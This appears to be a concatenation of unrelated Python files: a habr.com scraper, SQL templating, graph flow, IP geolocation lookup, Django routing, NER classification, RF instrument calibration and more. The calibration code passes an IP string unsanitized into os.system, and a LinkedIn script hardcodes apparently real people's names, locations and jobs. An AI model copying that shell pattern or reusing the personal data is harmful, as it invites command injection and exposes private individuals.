# Необходимо парсить страницу со свежими статьями (вот эту) и выбирать те статьи, в которых встречается хотя бы одно из ключевых слов (эти слова определяем в начале скрипта). Поиск вести по всей доступной preview-информации (это информация, доступная непосредственно с текущей страницы). Вывести в консоль список подходящих статей в формате: <дата> - <заголовок> - <ссылка>.

# определяем список ключевых слов
KEYWORDS = ['дизайн', 'фото', 'web', 'python']

import requests
from bs4 import BeautifulSoup
# from pprint import pprint
# import string
import re

headers = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7,sv;q=0.6',
'Cache-Control': 'max-age=0',
'Connection': 'keep-alive',
'Cookie': '_ym_uid=1661790138398573269; _ym_d=1661790138; habr_web_home_feed=/all/; hl=ru; fl=ru; _ym_isad=1; _ga=GA1.2.1864422457.1661790139; _gid=GA1.2.2059705457.1661790139; _gat_gtag_UA_726094_1=1',
'DNT': '1',
'Host': 'habr.com',
'Referer': 'https://yandex.ru/',
'sec-ch-ua': '"Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"',
'sec-ch-ua-mobile': '?0',
'sec-ch-ua-platform': '"Windows"',
'Sec-Fetch-Dest': 'document',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-User': '?1',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36'
}

url = 'https://habr.com'

responce = requests.get(url+'/ru/all', headers=headers)
text = responce.text

soup = BeautifulSoup(text, 'html.parser')

articles = soup.find_all(class_='tm-articles-list__item')

for article in articles:
    preview = article.find(class_=['article-formatted-body article-formatted-body article-formatted-body_version-2', 'article-formatted-body article-formatted-body article-formatted-body_version-1']).text

    # Вариант со сравнением множеств
    # for p in string.punctuation:
    #   if p in preview:
    #       preview = preview.replace(p, '')
    # preview = set(preview.split())

    # if preview & set(KEYWORDS):
      # data_1 = article.find(class_='tm-article-snippet__datetime-published')
      # data_2 = data_1.find('time')
      # data = data_2.attrs['title']
      # print(f'Дата статьи: {data}')
      # title = article.find(class_='tm-article-snippet__title-link').text.strip()
      # print(f'Название статьи: {title}')
      # link = article.find(class_='tm-article-snippet__title tm-article-snippet__title_h2')
      # link = link.find('a')
      # href = link.attrs['href']
      # print(f'Ссылка на статью: {url + href}')
      # print()

    # Вариант с регуляркой
    for i in KEYWORDS:
        if re.search(i, preview):
            data = article.find(class_='tm-article-snippet__datetime-published').find('time').attrs['title']
            print(f'Дата: {data}')
            title = article.find(class_='tm-article-snippet__title-link').text.strip()
            print(f'Заголовок: {title}')
            link = article.find(class_='tm-article-snippet__title tm-article-snippet__title_h2').find('a').attrs['href']
            print(f'Ссылка: {url + link}')
            print()


from jinja2 import Environment, PackageLoader
import os
from typing import Dict
import re

class SQLTemplate:
    _templatePath = os.path.join(
        os.path.dirname(os.path.dirname(os.path.relpath(__file__))), "templates"
    )

    _templatePath = os.path.join("templates")
    # raise ValueError(f'templatePath = {_templatePath}')

    def getTemplate(self, sqlAction: str, parameters: Dict, **kwargs) -> str:
        templateName = f"{sqlAction.lower().strip()}.j2"
        templateEnv = Environment(
            loader=PackageLoader(
                package_name="tips", package_path="framework/templates"
            ),
            trim_blocks=True
            # loader=FileSystemLoader(self._templatePath), trim_blocks=True
        )
        cmd = (
            templateEnv.get_template(templateName)
            .render(parameters=parameters, kwargs=kwargs)
            .strip()
            .replace("\n", " ")
        )
        return re.sub("  +", " ", cmd)


import networkx as nx
# import pulp

G = nx.DiGraph()

G.add_nodes_from(['A', 'B', 'C', 'D', 'E', 'F'])

G.add_edges_from([('A', 'B'), ('A', 'D'), ('B', 'C'), ('B', 'E'), ('C', 'F'), ('D', 'C'), ('E', 'C'), ('E', 'D'), ('E', 'F')])
capacities = [4,5,5,4,4,3,2,2,1]
costs = [1,7,7,2,3,2,1,1,4]

for i, edge in enumerate(G.edges()):
    G.edges[edge]['capacity'] = capacities[i]
    G.edges[edge]['cost'] = costs[i]

demands = [-2,-5,-1,3,2,3]

for i, node in enumerate(G.nodes()):
    G.nodes[node]['demand'] = demands[i]

myflow = nx.min_cost_flow(G, weight='cost')
mycost = nx.cost_of_flow(G, myflow, weight='cost')
print(mycost, myflow)


class IP():
   def __init__(self,ipaddress):
      url='http://m.ip138.com/ip.asp?ip='
      self.IP=ipaddress
      self.site=url+self.IP
      self.header={'User-Agent' :'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063'}
   def get_phy(self):
      import requests as RQ
      import re
      try:
         r=RQ.get(self.site)

         r.raise_for_status()
         r.encoding=r.apparent_encoding
         html=r.text[-1000:]
         #print(html)
         answer=re.findall('本站主数据：(.*?)
<p',html,re.S)
         answer=answer[0]
         return '您查询的IP:%s物理地址应该在:%s '%(self.IP,answer)
      except:
         return 'sth wrong'

#素质裤衩分析
'''
您查询的IP：1.1.1.1

本站主数据：澳大利亚

参考数据一：澳大利亚

'''
'''
while True:
   point='.'
   for I in range(7,100,7):
      for j in range(1,100,7):
         for k in range(1,100,70):
            for L in range(1,100,20):
               add=str(I)+point+str(j)+point+str(k)+point+str(L)
               print(add)
               #ip=input()
               i=IP(add)
               ans=i.get_phy()
               print(ans)
'''
#第一个利用接口写的东西

'''num=input()
num_list=list(num)
num_list.remove(' ')
num_list.remove(' ')
new_num_list=[]
print(num_list)
for i in range(6):
   if num_list[i]=='-':
      new_num_list.append(int(num_list[i]+num_list[i+1]))
   '''

'''
sentinel ='' # 遇到这个就结束
lines = []
for line in iter(input, sentinel):
    lines.append(line)

init=list(str(input()))
try:
   init.remove(' ')
except:
   pass
print(int(init[0])+int(init[1]))

string=input()
str_list=list(string)
str_list=str_list.reverse()
new_str=str(str_list)
print(new_str)
'''


import pygame
from flame import Flame

class Firework:
    def __init__(self):
        self.rect = pygame.Rect(640, 720, 25, 50)
        self.image = pygame.Surface( (25, 50) )
        self.image.fill( (255, 255, 255) )
        self.exploded = False
        self.flames = []

    def update(self):
        if not self.exploded:
            self.rect.y -= 2
            if self.rect.y <= 200:
                self.explode()
        else:
            for flame in self.flames:
                flame.update()

    def draw(self, screen):
        if not self.exploded:
            screen.blit(self.image, self.rect)
        else:
            for flame in self.flames:
                flame.draw(screen)

    def explode(self):
        self.exploded = True
        for i in range(1000):
            self.flames.append(Flame())


class Node:
    def __init__(self, data):
        self.data = data
        self.next = None

class LinkedList:
    def __init__(self):
        self.head = None

    def push(self, new_data):
        new_node = Node(new_data)
        new_node.next = self.head
        self.head = new_node

    def printLL(self):
        temp = self.head
        while (temp):
            print(temp.data)
            temp = temp.next

    def deleteNode(self, key):
        temp = self.head

        if (temp.data is not None):
            if temp.data == key:
                self.head = temp.next
                temp = None
                return

        while temp is not None:
            if temp.data == key:
                break
            prev = temp
            temp = temp.next

        # if key is not present in the linkedlist  then return

        if temp is None:
            return

        # unlink the previous node
        prev.next = temp.next
        temp = None

    def deleteSpecificPosition(self, position):
        if self.head is None:
            return

        temp = self.head

        for i in range(position - 1):
            temp = temp.next
            if temp is None:
                return

        # if position is more then the number of node
        if temp is None:
            return

        if temp.next is None:
            return

        next = temp.next.next

        # Unlink the node from the linkedlist
        temp.next = None
        temp.next = next

    def deleteAll(self):
        current = self.head
        while current:
            nextRef = current.next
            del current.data
            current = nextRef

if __name__ == "__main__":
    llist = LinkedList()
    llist.push(7)
    llist.push(1)
    llist.push(3)
    llist.push(2)
    llist.push(5)
    llist.push(9)
    llist.printLL()
    llist.deleteNode(3)
    print("Linked list after deleting 3")
    llist.printLL()
    llist.deleteSpecificPosition(2)
    print("Linkedlist after deleting node at 2nd position")
    llist.printLL()
    print("Delete everything")
    llist.deleteAll()


############### Start stopBackupMaintSched() ###############

def stopBackupMaintSched():

	message ="""
##################################################################
#                 Start stopBackupMaintSched                     #
##################################################################
"""
	printLog(message)
	# check if maintenence activities are running
	printBoth("check if maintenence activities are running")
	output = cmdOut("sudo -u admin status.dpn | egrep -A 2 checkpoint")
	lines = output.split('\n')
	if lines[0][-3:-1] == 'OK':
		printBoth("checkpoint 'OK'")
	if lines[1][-3:-1] == 'OK':
		printBoth("GC 'OK'")
	if lines[0][-3:-1] == 'OK':
		printBoth("hfscheck 'OK'")
	if (lines[0][-3:-1] == 'OK') and (lines[1][-3:-1] == 'OK') and (lines[2][-3:-1] == 'OK'):
		printBoth("Stopping Maintenence Scheduler")
		cmdOut("sudo -u admin dpnctl stop maint")
	output = cmdOut("sudo -u admin dpnctl status maint 2>&1")
	while output.split('\n')[-2].split()[-1]!= 'suspended.':
		question = """couldn't stop the Maintenece scheduler
please try manually and when done Press yes to continue or press no to quit"""
		if not query_yes_no(question): sys.exit()
		output = cmdOut("sudo -u admin dpnctl status  2>&1")

	printBoth("Stopping Backup Scheduler")
	cmdOut("sudo -u admin dpnctl stop sched")
	output = cmdOut("sudo -u admin dpnctl status sched 2>&1")
	while output.split('\n')[-2].split()[-1]!= 'down.':
		question = """couldn't stop the Backup scheduler
please try manually and when done Press yes to continue or press no to quit"""
		if not query_yes_no(question): sys.exit()
		output = cmdOut("sudo -u admin dpnctl status sched 2>&1")
		printBoth("Backup and Maintenence schedulers are down")
	message ="""
##################################################################
#                  End latestProactiveCheck                      #
##################################################################
"""
	printLog(message)
############### End stopBackupMaintSched() ###############


import re

import pandas as pd
import fool
from copy import copy
from starter_code1.NER.ner01 import *

test_data = pd.read_csv('../data/info_extract/test_data.csv', encoding='gb2312', header=0)
# print(test_data.head())

test_data['ner'] = None
ner_id = 1001
ner_dict_new = {}  # 存储所有实体
ner_dict_reverse_new = {}  # 储存所有实体

for i in range(len(test_data)):
    sentence = copy(test_data.iloc[i, 1])
    # TODO: 调用fool积极性实体识别，得到words和ners结果
    words, ners = fool.analysis(sentence)
    # print(words)
    # print(ners)

    ners[0].sort(key=lambda x: x[0], reverse=True)
    for start, end, ner_type, ner_name in ners[0]:
        if ner_type == 'company' or ner_type == 'person':
            # ner_dict_new
            lst = main_extract(ner_name, stop_word, d_4_delete, d_city_province)
            company_main_name = ''.join(lst)  # 对公司名提取主体部分，将包含相同主体部分的公司统一为一个实体
            if company_main_name not in ner_dict_new:
                ner_dict_new[company_main_name] = ner_id
                ner_dict_reverse_new[ner_id] = company_main_name
                ner_id += 1

            sentence = sentence[:start] + ' ner_' + str(ner_dict_new[company_main_name]) + '_ ' + sentence[end:]

    test_data.iloc[i, -1] = sentence

X_test = test_data[['ner']]

# 处理train数据,利用开源工具进行实体识别和并使用实体统一函数储存实体
train_data = pd.read_csv('../data/info_extract/train_data.csv', encoding='gb2312', header=0)
train_data['ner'] = None

for i in range(len(train_data)):
    # 判断正负样本
    if train_data.iloc[i, :]['member1'] == '0' and train_data.iloc[i, :]['member2'] == '0':
        sentence = copy(train_data.iloc[i, 1])
        # TODO:调用fool进行实体识别，得到wods和ners结果
        words, ners = fool.analysis(sentence)
        ners[0].sort(key=lambda x: x[0], reverse=True)
        for start, end, ner_type, ner_name in ners[0]:
            # TODO:调用实体统一函数，储存统一后的实体
            # 并自增ner_id
            if ner_type == 'company' or ner_type == 'person':
                company_main_name = ''.join(
                    main_extract(ner_name, stop_word, d_4_delete, d_city_province))  # 提取公司主体名称
                if company_main_name not in ner_dict_new:
                    ner_dict_new[company_main_name] = ner_id
                    ner_dict_reverse_new[ner_id] = company_main_name
                    ner_id += 1

                # 在句子中用编号替换实体名
                sentence = sentence[:start] + ' ner_' + str(ner_dict_new[company_main_name]) + '_ ' + sentence[end:]

        train_data.iloc[i, -1] = sentence
    else:
        # 将训练集中正样本已经标注的实体也使用编码替换
        sentence = copy(train_data.iloc[i, :])['sentence']
        for company_main_name in [train_data.iloc[i, :]['member1'], train_data.iloc[i, :]['member2']]:
            # TODO:调用实体统一函数，储存统一后的实体
            # 并自增ner_id
            company_main_name = ''.join(
                main_extract(company_main_name, stop_word, d_4_delete, d_city_province))  # 提取公司主体名称
            if company_main_name not in ner_dict_new:
                ner_dict_new[company_main_name] = ner_id
                ner_dict_reverse_new[ner_id] = company_main_name
                ner_id += 1

            # 在句子中用编号替换实体名
            sentence = re.sub(company_main_name, ' ner_%s_ ' % (str(ner_dict_new[company_main_name])), sentence)

        train_data.iloc[i, -1] = sentence

y = train_data.loc[:, ['tag']]
train_num = len(train_data)
X_train = train_data[['ner']]

# 将train和test放在一起提取特征
# X = pd.concat([X_train, X_test])
# X.to_csv('./x.csv', index=False)
# print(X)

from sklearn.ensemble import RandomForestClassifier
from sklearn import preprocessing
from sklearn.model_selection import train_test_split, GridSearchCV
from sklearn.linear_model import LogisticRegression
import numpy as np

# TODO: 定义需要遍历的参数
paramaeters = {'C': np.logspace(-3, 3, 7)}

# TODO:选择模型
lr = LogisticRegression()

# TODO:利用GridSearchCV
clf = GridSearchCV(lr, paramaeters, cv=5)
clf.fit(X_train, y)

# TODO:对Test_data进行分类
predict =clf.predict(X_test)
predict_prob = clf.predict_proba(X_test)
print(predict)
print(predict_prob)


import logging

from core.connect_db import connect_db
from logger.logger import configLogger
from settings.settings import load_settings

logger = logging.getLogger()

class BaseFetcher(object):

    def __init__(self):
        super(BaseFetcher, self).__init__()

        configLogger()
        self._connect_to_db()

    def run(self):
        running = True
        while running:
            try:
                self._run()
            except Exception as e:
                logger.error('Got error while running : %r' % e)
                running = False
                raise

    def _run(self):
        pass

    def _connect_to_db(self):
        settings = load_settings()
        mongo_config = settings['dbs']['mongo']
        con = connect_db(**mongo_config)


"""HartPro URL Configuration

The `urlpatterns` list routes URLs to views. For more information please see:
    https://docs.djangoproject.com/en/1.11/topics/http/urls/
Examples:
Function views
    1. Add an import:  from my_app import views
    2. Add a URL to urlpatterns:  url(r'^$', views.home, name='home')
Class-based views
    1. Add an import:  from other_app.views import Home
    2. Add a URL to urlpatterns:  url(r'^$', Home.as_view(), name='home')
Including another URLconf
    1. Import the include() function: from django.conf.urls import url, include
    2. Add a URL to urlpatterns:  url(r'^blog/', include('blog.urls'))
"""
from django.conf.urls import url,include
from django.core.paginator import Paginator
from django.shortcuts import render
from art.models import Tag,Art
import json
from user import helper

import xadmin as admin

def toIndex(request):
    tags1 = Tag.objects.all()
    # locals将当前函数的局部变量转成字典的key-value结构
    #{'request':request,'tags':tags}
    tags = []
    for tag in tags1:
        #判断该类型中是否有文章,如果有就添加进tags
        if Art.objects.filter(tag=tag):
            tags.append(tag)
    #annotate为每个tag对象增加一个字段(Count('art) 统计每种类型下文章数据)
    #
    #读取分类id
    tag_id = request.GET.get('tag')
    if tag_id:
        tag_id = int(tag_id)
        arts = Art.objects.filter(tag_id=tag_id)  #exclude排除条件为真的数据
    else:
        arts = Art.objects.all()

    # #加载所有文章
    # arts = Art.objects.all()

    #将文章进行分页处理
    paginator = Paginator(arts,8)   #分页器

    page = request.GET.get('page')
    page = int(page) if page else 1  # 读取请求参数中page参数，如果没有,默认为1
    pager = paginator.page(page)  # 获取当前页的数据

    #获取登录用户的信息
    login_user= helper.getLoginInfo(request)

    return render(request,'index.html',locals())

urlpatterns = [
    url(r'^admin/', admin.site.urls),
    url(r'^ueditor/', include('DjangoUeditor.urls')),
    url(r'^user/',include('user.urls')),
    url(r'^art/',include('art.urls')),
    url(r'^$', toIndex),
]


import pandas as pd
import s3fs

def main(event = None, context = None):
    print("Start running LinkedInScraper")
    values = [['Atreish Ramlakhan',
              'New York, New York, United States',
              'Katz School at Yeshiva University',
              'Graduate Teaching Assistant',
              'https://www.linkedin.com/company/16181365/'],
             ['Yuxiao (Henry) Shen',
              'New York, New York, United States',
              'The AAT Project (America’s Amazing Teens, LLC)',
              'Full Stack PHP Web Developer',
              'https://www.linkedin.com/search/results/all/?keywords=The+AAT+Project+%28America%E2%80%99s+Amazing+Teens%2C+LLC%29'],
             ['Shichao Zhou',
              'New York, New York, United States',
              'S&P Global Market Intelligence · Internship',
              'Data Analyst',
              'https://www.linkedin.com/company/162892/'],
             ['Mahlet Melese', 'New York, New York, United States', None, None, None]]
    df = pd.DataFrame(values,columns = [["Full Name", "Location", "Most Recent Company", 'Job Title', 'Company Url']])
    ###LOAD THE FILE INTO S3####
    # prepare csv file name
    pathname = 'ia-final2022-csv/'#specify location of s3:/{my-bucket}/
    filenames = f"{pathname}linkedIn_info.csv" #name of the filepath and csv file

    #encoding must be adjusted to accommodate abnormal characters. Use s3fs to write to S3 bucket
    print("Start adding LinkedIn data to csv")
    byte_encoded_df = df.to_csv(None, index=False).encode() #encodes file as binary
    s3 = s3fs.S3FileSystem(anon=False)
    with s3.open(filenames, 'wb') as file:
        file.write(byte_encoded_df) #writes byte-encoded file to s3 location

    #print success message
    print("Successfull uploaded file to location:"+str(filenames))
    print("Complete running LinkedInScraper")


##
## EPITECH PROJECT, 2019
## 108trigo_2019
## File description:
## utils.py
##

def printhelp():
    print("USAGE\n"
          "\t./108trigo fun a0 a1 a2....\n"
          "\n"
          "DESCRIPTION\n"
          "\tfun\tfunction to be applied,"
          ' among at least "EXP", "COS", "SIN", "COSH" and "SINH"\n'
          '\tai\tcoeficients of the matrix')
    exit(0)

def print_matrix(matrix):
    for i in range(len(matrix)):
        for j in range(len(matrix[i])):
            print("%.2f%c" % (matrix[i][j], '\t' if (j != len(matrix[i]) - 1) else '\n'), end="")


import os
import sys
import time

from acbbs.drivers.ate.ClimCham import ClimCham
from acbbs.drivers.ate.DCPwr import DCPwr
from acbbs.drivers.ate.PwrMeter import PwrMeter
from acbbs.drivers.ate.RFSigGen import RFSigGen
from acbbs.drivers.ate.RFSigGenV import RFSigGenV
from acbbs.drivers.ate.SpecAn import SpecAn
from acbbs.drivers.ate.Swtch import Swtch
from acbbs.tools.log import get_logger
from pymongo import MongoClient
from pymongo.errors import ServerSelectionTimeoutError, DuplicateKeyError

import configuration
from .drivers.PwrMeterCal import PowerMeterCal
from .drivers.RFSigGenCal import RFSigGenCal

logger = get_logger('calib')

CHANNELS = configuration.CHANNELS
INPUTS = configuration.INPUTS
OUTPUTS = configuration.OUTPUTS

CONF_PATH = configuration.CONF_PATH

LIST_PATH = configuration.LIST_PATH

class NetworkEquipment(object):
    def __init__(self, simu):
        logger.info('class Ping init')
        self.PwrMeter = PwrMeter(simulate=simu)
        self.SpecAn = SpecAn(simulate=simu)
        self.RFSigGen = RFSigGen(simulate=simu)
        self.RFSigGenV = RFSigGenV(simulate=simu)
        self.Swtch = Swtch(simulate=simu)
        self.ClimCham = ClimCham(simulate=simu)
        self.DCPwr = DCPwr(simulate=simu)
        self.PwrMeterCal = PowerMeterCal(simulate=simu)
        self.RFSigGenCal = RFSigGenCal(simulate=simu)

        self.get_ip()

    def get_ip(self):
        ip_specAn = self.SpecAn.SpecAnConf['ip']
        ip_sigGen = self.RFSigGen.sigGenConf['ip']
        ip_pwMeter = self.PwrMeter.PwrMeterConf['ip']
        ip_sigGenV = self.RFSigGenV.sigGenConf['ip']
        ip_ClimCham = self.ClimCham.dcConf['ip']
        ip_dc1 = self.DCPwr.dcConf['powerDevice1-ip']
        ip_dc2 = self.DCPwr.dcConf['powerDevice2-ip']

        self.listIP = {'rx': {'RFSigGen': ip_sigGen, 'RFSigGenV': ip_sigGenV},
                       'tx': {'PwrMeter': ip_pwMeter, 'SpecAn': ip_specAn},
                       'DC': {'DC1': ip_dc1, 'DC2': ip_dc2},
                       'Chamber': {'climCham': ip_ClimCham},
                       }

    def ping_one(self, IP):
        response = os.system("ping -c 1 " + IP)
        if response == 0:
            logger.info("Network Equipement Active at adresse:{0}".format(IP))
            return 0
        else:
            logger.error('Network Equipement Error : {0}'.format(IP))
            return 1

    def check_one_instrument(self, instrum):
        global result
        for mode, instrums in self.listIP.items():
            if instrum in instrums.keys():
                result = self.ping_one(self.listIP[mode][instrum])
                break
        return result

    def ping_all(self):
        list_pingReturn = self.listIP
        for mode, instrums in self.listIP.items():
            for instrum, ip in instrums.items():
                list_pingReturn[mode][instrum] = self.ping_one(ip)
        return list_pingReturn

    def check_all_instruments(self):
        listPing = self.ping_all()
        if all(i == 0 for i in listPing):
            return 0
        else:
            return 1  # renvoyer un tableau qui indique quel instrument est disconnected

class database(object):

    def __init__(self):
        self.__openDataBase()

    def __openDataBase(self):
        # get server, port and database from json configuration file
        server = configuration.DATABASE_IP
        port = configuration.DATABASE_PORT
        database = configuration.DATABASE_NAME_CALIB
        maxSevSelDelay = configuration.DATABASE_MAXDELAY

        try:
            # open MongoDB server
            self.client = MongoClient(server, int(port), serverSelectionTimeoutMS=maxSevSelDelay)

            # check if connection is well
            self.client.server_info()
        except ServerSelectionTimeoutError as err:
            print("{0}".format(err))
            exit(0)

        # open MongoDB database
        self.db = self.client[database]

    def get_available_collection(self):
        return self.db.list_collection_names()

    def get_collection(self, collection):
        if collection not in self.get_available_collection():
            print("Error: conf {0} does not exist. You can list available collection with --list".format(collection))
        return self.db[collection].find({})

    def writeDataBase(self, document, collection):
        if collection in self.get_available_collection():
            print("Error: conf {0} exist. You can delete it with --delete {0}".format(collection))

        self.db_collection = self.db[collection]
        try:
            self.db_collection.insert_one(document).inserted_id
        except DuplicateKeyError as err:
            print("{0}".format(err))

    def delete_collection(self, collection):
        if collection not in self.get_available_collection():
            print("Error: conf {0} does not exist. You can list available collection with --list".format(collection))
        self.db.drop_collection(collection)

class MatrixCal(object):
    def __init__(self):
        self.calibFile = {"date": "", "loss": {}}
        self.db = database()

    def get_cal(self, date):
        for doc in self.db.get_collection(date):
            calibFile = doc
        return calibFile

    def getlossPath(self, port_in, port_out, date):
        cal = self.get_cal(date)
        data = cal[port_in][port_out]
        return data

    def write_cal(self, data):
        self.calibFile["loss"] = data
        self.calibFile["date"] = time.strftime("%Y-%m-%d %H:%M:%S")
        self.db.writeDataBase(self.calibFile["loss"], self.calibFile["date"])

    def readPath_loss(self, port_in, port_out):
        return self.data["loss"][port_in][port_out]

    def del_cal(self, cal_name):
        self.db.delete_collection(cal_name)

    def history(self):
        return self.db.get_available_collection()

class Calibration(object):
    def __init__(self, simu):
        self.equipement = NetworkEquipment(simu=simu)
        self.channels = CHANNELS
        self.simu = simu

        self.iteration = 0
        self.totalProgress = 0

        self.paths = LIST_PATH

        self.message = ""
        self.response = 0

        self.matrixCal = MatrixCal()

        self.loss = {INPUTS[4]: {}, INPUTS[2]: {}, INPUTS[3]: {}, INPUTS[0]: {}, INPUTS[1]: {}, INPUTS[5]: {}}
        self.delta = {}

        self.pathlist = list()
        for i in self.paths.keys():
            self.pathlist.append(i)

    def calibrate(self, tab_freq, pwr):
        self.tab_freq = tab_freq
        self.OUTPUT_POWER_CALIBRATION = int(pwr)

        self.totalProgress = (len(INPUTS) - 2 + len(OUTPUTS)) * len(tab_freq)

        print('calibration start')
        self.SMBCal()
        self.SMBVCal()
        self.PwrMeterCal()
        self.FSWCal()
        self.NoiseCal()

        self.makeDelta()
        self.makeMatrixCal()

        self.matrixCal.write_cal(self.loss)

    def SMBCal(self):
        loss = configuration.PORT_SMB
        pathJ4Jx = self.pathlist[1]

        # calibration of J4_20dB - J9
        print("calibration of SMB, plug the power meter cal to J9")
        while self.response == 0:
            self.message = " calibration of SMB, plug the power meter cal to J9 "
            time.sleep(0.8)
            print('wait')
        self.message = ""
        self.response = 0

        self.equipement.Swtch.setSwitch(sw1=1, sw3=self.paths[pathJ4Jx]["sw3"], sw4=self.paths[pathJ4Jx]["sw4"])
        for freq in self.tab_freq:
            self.equipement.RFSigGen.freq = freq
            self.equipement.RFSigGen.power = self.OUTPUT_POWER_CALIBRATION
            self.equipement.RFSigGen.status = 1
            time.sleep(1)
            loss["J4_20dB"][str(freq)] = self.OUTPUT_POWER_CALIBRATION - self.equipement.PwrMeterCal.power(nbr_mes=1)
            self.equipement.RFSigGen.status = 0
            self.iteration += 1
        self.loss["J4_20dB"]["J9"] = loss["J4_20dB"]

        # calibration of J4 - Jx
        for channel in self.channels:
            print(" plug the power meter cal to J{0}".format(channel + 8))

            while self.response == 0:
                self.message = " plug the power meter cal to {0}".format(channel + 8)
                time.sleep(0.8)
                print('wait')
            self.message = ""
            self.response = 0

            port = pathJ4Jx.replace("Jx", "J" + str(channel + 8))
            self.equipement.Swtch.setSwitch(sw1=channel, sw3=self.paths[pathJ4Jx]["sw3"],sw4=self.paths[pathJ4Jx]["sw4"])

            for freq in self.tab_freq:
                self.equipement.RFSigGen.freq = freq
                self.equipement.RFSigGen.power = self.OUTPUT_POWER_CALIBRATION
                self.equipement.RFSigGen.status = 1
                time.sleep(1)
                loss["J4"][str(freq)] = self.OUTPUT_POWER_CALIBRATION - self.equipement.PwrMeterCal.power(nbr_mes=1)
                self.equipement.RFSigGen.status = 0
                self.iteration += 1
            self.loss["J4"]["J" + str(channel + 8)] = loss["J4"]

    def SMBVCal(self):
        loss = configuration.PORT_SMBV
        pathJ3Jx = self.pathlist[3]

        print(" calibration of SMBV, plug the power meter of the cal to J9")

        while self.response == 0:
            self.message = "plug the power meter cal to J9 "
            time.sleep(0.8)
            print('wait')
        self.message = ""
        self.response = 0

        # calibration of J3 - J9
        self.equipement.Swtch.setSwitch(sw1=1, sw3=self.paths[pathJ3Jx]["sw3"], sw4=self.paths[pathJ3Jx]["sw4"])
        for freq in self.tab_freq:
            self.equipement.RFSigGenV.freq = freq
            self.equipement.RFSigGenV.power = self.OUTPUT_POWER_CALIBRATION
            # self.equipement.PowerMeterCal = freq
            self.equipement.RFSigGenV.status = 1
            time.sleep(1)
            loss["J3"][str(freq)] = self.OUTPUT_POWER_CALIBRATION - self.equipement.PwrMeterCal.power(nbr_mes=1)
            self.equipement.RFSigGenV.status = 0
            self.iteration += 1
        self.loss["J3"]["J9"] = loss["J3"]

    def PwrMeterCal(self):
        loss = configuration.PORT_PowerMeter
        pathJ2Jx = self.pathlist[5]

        print(" calibration of Power Meter, plug the RF generator cal to J9")

        while self.response == 0:
            self.message = "plug the RF generator cal to J9"
            time.sleep(0.8)
            print('wait')
        self.message = ""
        self.response = 0

        # calibration of J2 - J9
        self.equipement.Swtch.setSwitch(sw1=1, sw3=self.paths[pathJ2Jx]["sw3"], sw4=self.paths[pathJ2Jx]["sw4"])
        for freq in self.tab_freq:
            self.equipement.PwrMeter.freq = freq
            time.sleep(1)
            loss["J2"][str(freq)] = self.OUTPUT_POWER_CALIBRATION - self.equipement.PwrMeter.power
            self.iteration += 1
        self.loss["J2"]["J9"] = loss["J2"]

    def FSWCal(self):
        loss = configuration.PORT_FSW
        pathJ2Jx = self.pathlist[4]

        print(" calibration of FSW, plug the RF generator cal to J9")

        while self.response == 0:
            self.message = "plug the RF generator cal to J9"
            time.sleep(0.8)
            print('wait')
        self.message = ""
        self.response = 0

        # calibration of J5 - J9
        self.equipement.Swtch.setSwitch(sw1=1, sw3=self.paths[pathJ2Jx]["sw3"], sw4=self.paths[pathJ2Jx]["sw4"])
        for freq in self.tab_freq:
            self.equipement.SpecAn.freqSpan = 10000000
            pic = self.equipement.SpecAn.markerPeakSearch()
            time.sleep(1)
            loss["J5"][str(freq)] = self.OUTPUT_POWER_CALIBRATION - pic[1]
            self.iteration += 1
        self.loss["J5"]["J9"] = loss["J5"]

    ######### NON CODE ################
    def NoiseCal(self):
        loss = configuration.PORT_NOISE
        pathJ18Jx = self.pathlist[0]
        print(" calibration of Noise, plug the RF generator cal to J18 and the power meter to J9")

        while self.response == 0:
            self.message = "plug the RF generator cal to J18 and the power meter to J9"
            time.sleep(0.8)
            print('wait')
        self.message = ""
        self.response = 0

        # calibration of J5 - J9
        self.equipement.Swtch.setSwitch(sw1=1, sw3=self.paths[pathJ18Jx]["sw3"], sw4=self.paths[pathJ18Jx]["sw4"])
        for freq in self.tab_freq:
            loss["J18"][str(freq)] = self.OUTPUT_POWER_CALIBRATION
            self.iteration += 1
        self.loss["J18"]["J9"] = loss["J18"]

    def makeDelta(self):
        for channel in self.channels:
            Jout = "J" + str(channel + 8)
            delta_freq = {}
            self.delta[Jout] = {}
            for freq in self.tab_freq:
                delta_freq[str(freq)] = self.loss["J4"][Jout][str(freq)] - self.loss["J4"]["J9"][str(freq)]
            self.delta[Jout] = delta_freq

    def makeMatrixCal(self):
        for Jin in self.loss.keys():
            for channel in self.channels[1:]:
                Jout = "J" + str(channel + 8)
                self.loss[Jin][Jout] = {}
                estimate_loss = {}
                for freq in self.tab_freq:
                    estimate_loss[str(freq)] = self.loss[Jin]["J9"][str(freq)] + self.delta[Jout][str(freq)]
                self.loss[Jin][Jout] = estimate_loss


# -*- coding: utf-8 -*-
"""
Created on Tue Mar 22 15:37:26 2022

@author: jeros

Hu moments analysis
"""
import numpy as np
from matplotlib import pyplot as plt
from matplotlib.ticker import PercentFormatter

def plotter(huN = 1, bananas = None,oranges = None,lemons = None):

   # if bananas is not None:
   #     plt.hist(bananas[0,:],bins, alpha=0.5, label='b',weights = weights_b )
   # if oranges is not None:
   #     plt.hist(oranges[0,:],bins, alpha=0.5, label='o',weights = weights_o)

   '''Hu moment number histogram'''
   if huN == 0:
       bins = np.linspace(2.85,3.22,100)

   if huN == 1:
       bins = np.linspace(5.5,12.5,100)

   if huN == 2:
       bins = np.linspace(10,16,100)

   if huN == 3:
       bins = np.linspace(9.8,19,100)

   if huN == 4:
       bins = np.linspace(-35,35,100)

   if huN == 5:
        bins = np.linspace(-25,25,100)

   if huN == 6:
        bins = np.linspace(-35,35,100)

   #plt.hist([bananas[huN,:], oranges[huN,:],lemons[huN,:]],label=['B', 'O','L'])
